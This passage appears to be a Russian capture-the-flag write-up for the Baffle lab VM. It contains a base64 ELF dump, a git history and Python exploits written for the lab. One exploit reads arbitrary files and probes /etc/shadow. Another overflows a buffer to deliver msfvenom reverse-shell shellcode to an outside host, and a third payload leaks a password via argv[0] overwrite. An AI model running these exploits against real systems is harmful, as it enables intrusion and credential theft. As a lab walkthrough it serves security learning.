+RfBIY9BIi034SI2F8Pv//0iJzkiJx+g6/v//SI2F8Pv//74ECkAASInH6Db+//9IiUXoSIN96AB0
+SkiNhfD5//+69AEAAL4AAAAASInH6ML9//9Ii1XoSI2F8Pn//770AQAASInH6Nr9//9IjYXw+f//
+SInGvwYKQAC4AAAAAOiB/f//g330Ag+FlwAAAEiNhfD9//+69AEAAL4AAAAASInH6G79//+69AEA
+AL4AAAAAv+ANYADoWv3//0iDRfgCSItF+EiJx+gZ/f//iUXwi0XwSJhIg8ABSAFF+EiDRfgGSItF
++LrgDWAAuT4AAABIiddIicbzSKVIifBIifqLCIkKSI1SBEiNQARIi034SI2F8P3//7rQBwAASInO
+SInH6DD9//+4AAAAAMnDVUiJ5UiB7PAHAACJvRz4//9IibUQ+P//SIsFqgQgAL4AAAAASInH6J38
+//9IjYUg+P//utAHAAC+AAAAAEiJx+ik/P//SI2FIPj//7rQBwAASInGvwAAAADom/z//4lF/ItV
+/EiNhSD4//+J1kiJx+ja/f//uAAAAADJw2YuDx+EAAAAAAAPHwBBV0FWQYn/QVVBVEyNJc4BIABV
+SI0tzgEgAFNJifZJidVMKeVIg+wISMH9A+jH+///SIXtdCAx2w8fhAAAAAAATInqTIn2RIn/Qf8U
+3EiDwwFIOet16kiDxAhbXUFcQV1BXkFfw5BmLg8fhAAAAAAA88MAAEiD7AhIg8QIwwAAAAEAAgBy
+ACVzAAAAAAEbAzs4AAAABgAAAJT7//+EAAAARPz//1QAAAA6/f//rAAAAOv+///MAAAAdP///+wA
+AADk////NAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEHEBQAAAAcAAAA6Pv//yoAAAAAAAAAAAAA
+ABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAACPv//6AAAAAADhBGDhhKDwt3CIAAPxo7
+KjMkIgAAAAAcAAAARAAAAIb8//+xAQAAAEEOEIYCQw0GA6wBDAcIABwAAABkAAAAF/7//3wAAAAA
+QQ4QhgJDDQYCdwwHCAAARAAAAIQAAACA/v//ZQAAAABCDhCPAkIOGI4DRQ4gjQRCDiiMBUgOMIYG
+SA44gwdNDkByDjhBDjBBDihCDiBCDhhCDhBCDggAFAAAAMwAAACo/v//AgAAAAAAAAAAAAAAAAAA
+AAAAAAAgB0AAAAAAAAAHQAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAADAAAAAAAAAB4BUAA
+AAAAAA0AAAAAAAAA9AlAAAAAAAAZAAAAAAAAAGALYAAAAAAAGwAAAAAAAAAIAAAAAAAAABoAAAAA
+AAAAaAtgAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAABgAkAAAAAAAAUAAAAAAAAAqANAAAAA
+AAAGAAAAAAAAAIgCQAAAAAAACgAAAAAAAAB+AAAAAAAAAAsAAAAAAAAAGAAAAAAAAAAVAAAAAAAA
+AAAAAAAAAAAAAwAAAAAAAABQDWAAAAAAAAIAAAAAAAAA2AAAAAAAAAAUAAAAAAAAAAcAAAAAAAAA
+FwAAAAAAAACgBEAAAAAAAAcAAAAAAAAAcARAAAAAAAAIAAAAAAAAADAAAAAAAAAACQAAAAAAAAAY
+AAAAAAAAAP7//28AAAAAQARAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAAAmBEAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAtgAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAtgVAAAAAAADGBUAAAAAAANYFQAAAAAAA5gVAAAAAAAD2BUAAAAAAAAYGQAAA
+AAAAFgZAAAAAAAAmBkAAAAAAADYGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdDQzogKERlYmlhbiA2
+LjEuMS0xMSkgNi4xLjEgMjAxNjA4MDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAB
+AAACQAAAAAAAAAAAAAAAAAAAAAAAAwACABwCQAAAAAAAAAAAAAAAAAAAAAAAAwADADwCQAAAAAAA
+AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgCQAAAAAAAAAAAAAAAAAAA
+AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAAAAAAwAHACYEQAAAAAAAAAAAAAAAAAAAAAAAAwAIAEAE
+QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA
+AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA
+AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA
+AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA
+AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU
+AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA
+AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA
+AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA
+AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA
+AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA
+AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA
+AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA
+AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS
+AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA
+AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh
+AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN
+YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA
+AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA
+EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA
+AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA
+AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA
+AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA
+AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh
+AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ
+QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA
+AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA
+EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA
+AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA
+AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1
+ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf
+YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5
+AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB
+TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy
+YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf
+Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA
+X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM
+SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0
+YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n
+bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl
+ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2
+X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU
+TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu
+bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry
+AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w
+bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf
+YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t
+ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA
+AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA
+AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA
+AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA
+AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA
+AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA
+AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
+XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC
+AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA
+AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA
+AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA
+AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA
+AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA
+AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA
+AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA
+BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj
+AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA
+AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA
+AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA
+AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA
+AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA
+AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA
+AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA
+cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD
+AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA
+AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA
+AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
+AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA
+AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA
+AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA
+ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA
+6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA
+AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA
+AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
commit 9b5c226d15d611d6957f3fda7c993186270a6cc4
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:52:40 2016 -0400
Made it into a write-type-thing instead
diff --git a/hellofriend.c b/hellofriend.c
index d5cbbf9..10a4d9e 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -2,29 +2,37 @@
#include <string.h>
#include <unistd.h>
+char to_write[500];
+
int parse_request(char *req, int n) {
+ char data[500];
char file[500];
char file_content[500];
int file_len;
+ int req_type;
+ char mode[10];
char *ptr = req;
FILE *fp;
memset(file, 0, sizeof(file));
+ memset(mode, 0, sizeof(mode));
+
+ memset(data, 0, sizeof(data));
+ memset(to_write, 0, sizeof(to_write));
+
+ ptr = (char *)ptr + 2;
+ file_len = strlen(ptr);
+
+ ptr = (char *)ptr + file_len + 1;
+ ptr = (char *)ptr + 6;
- ptr = (char *)ptr + 2;
- FiLe_len = n - 2 - 5 - 2;
- memcpy(file, ptr, file_len);
+ memcpy(to_write, ptr, 500);
+ memcpy(data, ptr, 2000);
- fp = fopen(file, "r");
- if (fp) {
- memset(file_content, 0, sizeof(file_content));
- fgets(file_content, sizeof(file_content), fp);
- printf("%s", file_content);
- }
return 0;
}
-int mAin(int arGc, char *argv[]) {
+int main(int argc, char *argv[]) {
char buf[2000];
int n;
@@ -32,7 +40,7 @@ int mAin(int arGc, char *argv[]) {
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
- p{ARSE_REQUEST}(buf, n);
+ parse_request(buf, n);
return 0;
}
commit 06483346fab91b2b17471074a887ac7dffd9ceda
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:44:25 2016 -0400
My cat danced on the keyboard
diff --git a/hellofriend.c b/hellofriend.c
index c2c9046..d5cbbf9 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -12,7 +12,7 @@ int parse_request(char *req, int n) {
memset(file, 0, sizeof(file));
ptr = (char *)ptr + 2;
- file_len = n - 2 - 5 - 2;
+ FiLe_len = n - 2 - 5 - 2;
memcpy(file, ptr, file_len);
fp = fopen(file, "r");
@@ -24,7 +24,7 @@ int parse_request(char *req, int n) {
return 0;
}
-int main(int argc, char *argv[]) {
+int mAin(int arGc, char *argv[]) {
char buf[2000];
int n;
@@ -32,7 +32,7 @@ int main(int argc, char *argv[]) {
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
- parse_request(buf, n);
+ p{ARSE_REQUEST}(buf, n);
return 0;
}
commit 7edc47a1c3e4dc880a7191915bdbf1565c6b7441
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:37:14 2016 -0400
This coder turned coffee into code. You won't believe how she did it!
diff --git a/hellofriend.c b/hellofriend.c
index 21c5a19..c2c9046 100644
--- a/hellofriend.c
+++ b/hellofriend.c
@@ -3,10 +3,26 @@
#include <unistd.h>
int parse_request(char *req, int n) {
- return 0;
-}
+ char file[500];
+ char file_content[500];
+ int file_len;
+ char *ptr = req;
+ FILE *fp;
+
+ memset(file, 0, sizeof(file));
+ ptr = (char *)ptr + 2;
+ file_len = n - 2 - 5 - 2;
+ memcpy(file, ptr, file_len);
+ fp = fopen(file, "r");
+ if (fp) {
+ memset(file_content, 0, sizeof(file_content));
+ fgets(file_content, sizeof(file_content), fp);
+ printf("%s", file_content);
+ }
+ return 0;
+}
int main(int argc, char *argv[]) {
char buf[2000];
commit d7a1f067a2f4ac469bc4cf77c689a34e2286b665
Author: alice <alice@baffle.me>
Date: Mon Oct 17 14:30:20 2016 -0400
Hello, friend...
diff --git a/hellofriend.c b/hellofriend.c
new file mode 100644
index 0000000..21c5a19
--- /dev/null
+++ b/hellofriend.c
@@ -0,0 +1,22 @@
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+int parse_request(char *req, int n) {
+ return 0;
+}
+
+
+
+int main(int argc, char *argv[]) {
+ char buf[2000];
+ int n;
+
+ setbuf(stdout, 0);
+
+ memset(buf, 0, sizeof(buf));
+ n = read(0, buf, sizeof(buf));
+ parse_request(buf, n);
+
+ return 0;
+}
Если внимательно присмотреться на коммит My cat danced on the keyboard, то он очень не похож на кошку, которая прошлась по клавиатуре. Заменены лишь некоторые символы. Попробовав извлечь эти изменения, замечаем закономерность, а вместе с ней и флаг:
+FiLe_len = n — 2 — 5 — 2;
+int mAin(int arGc, char *argv[]) {
+p{ARSE_REQUEST}(buf, n);
FLAG{ARSE_REQUEST}
P.S. Где тут реверс, спросите вы? Вот вам реверс, первый флаг был отвлекающей разминкой :)
Flag 2 (alice)
Помимо флага, из лога узнаём, что пользователь alice создала, и удалила некий файл: project.enc. Отменяем последний коммит, дабы вернуть этот файл:
$ git revert HEAD
$ ls
hellofriend.c project.enc
Содержимое файла явно напоминает base64, поэтому отправляем его на сайт, и конвертируем обратно в бинарный вид.
$ file *
base64.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=8d8f87535451003b05db15d14d07818576813b49, not stripped
Посмотрим что внутри, открыв файл в IDA. Внимательно присмотревшись, можно заметить, что в этом файле объединены все правки, что были внесены в git проект. После небольших правок, вот так выглядит функция main:
Тут происходит считывание 2000 символов, которые передаются затем в функцию parse_request:
Функция parse_request, в случае, если второй байт равен 0x01, читает первые 500 байт из файла, либо если второй байт равен 0x02, то копирует полученную строку в буфер.
При этом прослеживаются 2 уязвимости и 1 ошибка:
- Просмотр файлов
- Выход за границы массива
- Переполнение буфера
Остановимся пока на первой, и создадим скрипт на Python для её эксплуатации:
#!/usr/bin/python
import socket
import time
import sys
port = 6969
host = "192.168.1.190"
def readFile(fPath):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
action_byte = "\x01"
shell = "0" + action_byte + fPath + "000000"
s.send(('%s\n' %(shell)).encode())
time.sleep(0.3)
try:
data = s.recv(1024)
if len(data) != 0:
print("File: %s found" %(fPath))
print(data)
s.close()
except: pass
ext = ['', '.txt']
words = open(sys.argv[1], 'r').read().splitlines()
for item in words:
for e in ext:
fPath = '%s%s' %(item, e)
readFile(fPath)
На основе полученной информации, сгенерируем небольшой словарь для перебора доступных файлов:
/flag
/home/flag
/var/www/html/flag
/var/www/flag
/home/alice/.bash_history
/root/flag
/etc/shadow
/root/.bash_history
После запуска, получаем первый флаг:
$ ./exploit.py dict.lst
File: /flag.txt found
FLAG{is_there_an_ivana_tinkle}
Flag 3 (bob)
Судя по тому, что содержимое /etc/shadow, он нам не выдал, видимо сервис запущен от имени какого-то пользователя.
Чтение файлов это хорошо, но есть ещё выход за границы и переполнение буфера.
Тут следует учесть, что функция strlen, согласно спецификации, возвращает количество символов, до первого вхождения нуль терминатора. Следовательно, дополнив входную строку 7 символами нуль терминатора, можно обойти выход за границы. Проверим это:
$ python -c 'print("\x02\x02" + "A"*20 + "\x00"*7 + "123456B"*200)' | ltrace ./base64.bin
Как видно, strlen вернула 20, а в буфер data было скопировано всё начиная с «123456B».
Осталось найти смещение, по которому в стеке расположен адрес возврата, и переписать его. Перезаписывать будем адресом 0x600de0, по которому расположен массив to_write. Отыскать адрес возврата можно следующей командой:
$ python -c 'print("\x02\x02" +"A"*20 + "\x00"*7 + "A"*536 + "\xe0\x0d\x60\x00\x00\x00" + "\x00"*2000)' | gdb -ex "run" -ex "q" ./base64.bin
P.S. Значение 536 было получено экспериментально, в ходе подбора, с учётом того, что конечный буфер имеет размер 500 байт.
Всё необходимое для написание эксплоита имеется, пора к этому приступить. Воспользовавшись msfvenom из набора Metaspoit Framework, сгенерим шелл:
$ sudo msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d" > exploit2.py
Запускаем хендлер:
Немного подредактируем файл exploit2.py:
#!/usr/bin/python
import socket
import time
import sys
import struct
port = 6969
host = "192.168.1.190"
bypass = "\x02\x02" + "A"*20 + "\x00"*7
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x8b\xe0\xc2\x5c\x5b\xbf\x3d"
buf += "\x9b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\xc3\xd1\x3d\x36\x52\xe7\xa4\x2d\x9b\xa8\x4b\x8a\x16"
buf += "\x8e\xf4\xf1\xa9\xa1\x98\xee\x5c\xb0\x38\xcd\xdb\x8a"
buf += "\xeb\x04\xc2\xd5\x3f\xc4\xe1\xe1\x9c\x53\x5e\xf7\xaa"
buf += "\xd3\x32\xe2\xc2\x7b\x54\x7f\x95\x9a\xf7\xb1\x8a\xd5"
buf += "\xbd\xd5\x2d\xc1\xe1\xca\x9a\x53\x5e\xe6\x63\xc1\x84"
buf += "\xe5\x3d\xba\x5b\xbf\x3d\x9b"
payload = bypass + buf + "\x90"*(536-len(buf))
payload += "\xe0\x0d\x60\x00\x00\x00\x00\x00" + "\x00"*2000
def bof():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
s.close()
w = open('payload', 'wb')
w.write(payload)
w.close()
bof()
И после запуска, получаем долгожданный шелл:
$ python2 ./exploit2.py
Попробуем найти ещё флаги:
find / -name flag.txt 2>/dev/null
/home/bob/filez/flag.txt
/flag.txt
Заглянув в директорию с флагом, становится понятно, что и тут без реверса не обойтись:
ls -ahl /home/bob/filez
total 24K
drwxr-xr-x 2 charlie charlie 4.0K Oct 25 04:07 .
drwxr-xr-x 5 bob bob 4.0K Oct 25 04:21 ..
-r--r----- 1 charlie charlie 50 Oct 25 03:51 auth.txt
-r--r----- 1 charlie charlie 29 Oct 23 08:06 flag.txt
-rwsr-xr-x 1 charlie charlie 6.7K Oct 25 03:45 flag_vault
Ок, скачиваем flag_vault для дальнейшего анализа. Заодно проверим наличие ASLR на удалённой машине:
cat /proc/sys/kernel/randomize_va_space
2
Файл скачан, и как оказалось имеет защиту:
$ gdb -q ./flag_vault
Reading symbols from ./flag_vault...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
В IDA этот файл выглядит следующим образом:
Тут стоит сказать, что есть 2 пути взятия флага: лёгкий, и более сложный. Рассмотрим их оба:
1. Путь читера
Как можно заметить, пути к файлам указаны относительно. Это значит, что мы можем создать в домашней директории пользователя alice, файл auth.txt со своим проверочным кодом, и рядом создать ссылку на оригинальный файл /home/bob/filez/flag.txt
Далее, перейдя в директорию /home/alice, запускаем файл /home/bob/filez/flag_vault, вводим свой код, который сверяется с нашим файлом auth.txt и получаем флаг:
2. Путь настоящего реверс инженера
После долгих поисков, я наткнулся на уязвимость в функции __stack_chk_fail. Судя по описанию это как раз наш случай, осталось найти смещение по которому располагается argv[0] и попытаться его переписать. Запускаем этот бинарник в peda:
При запуске под отладкой, заметно, что ближайшее расположение argv[0] можно найти по адресу: 0xbffff794.
0x08048730 <+293>: lea eax,[ebp-0x110]
0x08048736 <+299>: push eax
0x08048737 <+300>: push 0x0
0x08048739 <+302>: call 0x8048460 <read@plt>
Функция read начинает заполнять стек со смещения ebp-272, зная это не трудно высчитать смещение: (0xbffff794 — 0xbffff6e8 — 272) = 444 символа, достигнув которого, удастся переписать argv[0].
Отлично, теперь теоретически мы можем читать память текущего процесса. Если взглянуть на код, то можно заметить, что чтение файлов происходит в статические переменные:
.text:080486E8 push offset modes ; "r"
.text:080486ED push offset aAuth_txt ; "auth.txt"
.text:080486F2 call _fopen
.text:080486F7 add esp, 16
.text:080486FA mov [ebp+var_114], eax
.text:08048700 sub esp, 4
.text:08048703 push [ebp+var_114] ; stream
.text:08048709 push 60 ; n
.text:0804870B push 8049CE0h ; pass
.text:08048710 call _fgets
В данном случае, наибольший интерес будет представлять значение по адресу 0x8049CE0, так как именно туда считывается содержимое файла auth.txt.
Проверим это:
python -c 'import struct;print("A"*20 + "\x00"*424 + struct.pack("<I",0x8049CE0))' | ./flag_vault
Отлично, пароль у нас, можно доставать флаг:
Flag 4 (charlie)
После долгих попыток повысить привилегии через это приложение, а так же поиска других вариантов, я вбил команду:
find / -user alice 2>/dev/null | grep -v proc
/home/alice
/home/alice/ctftp
/home/alice/.profile
/home/alice/auth.txt
/home/alice/.bash_history
/home/alice/.bashrc
/home/alice/flag.txt
/home/alice/.bash_logout
/var/mail/alice
/flag.txt
Хм, взглянув на почту, становится понятно куда двигаться дальше:
cat /var/mail/alice
From bob@baffle.me Thu Jan 2 11:38:22 2014
Return-Path: <root@baffle.me>
X-Original-To: alice
Delivered-To: alice@baffle.me
Received: by baffle.me (Postfix, from userid 0)
id B612F2C0E36; Thu, 2 Jan 2014 11:38:22 -0800 (PST)
From: Bob <bob@baffle.me>
To: alice@baffle.me
Subject: Flag #2
Message-Id: <2014010204825.B612F2C0E36@baffle.me>
Date: Thu, 2 Jan 2014 11:38:22 -0800 (PST)Alice,
I need you to login to my account. My password is in /home/bob/flag.txt
You'll need to authenticate to Flag Vault in order to get its contents.—
Bob
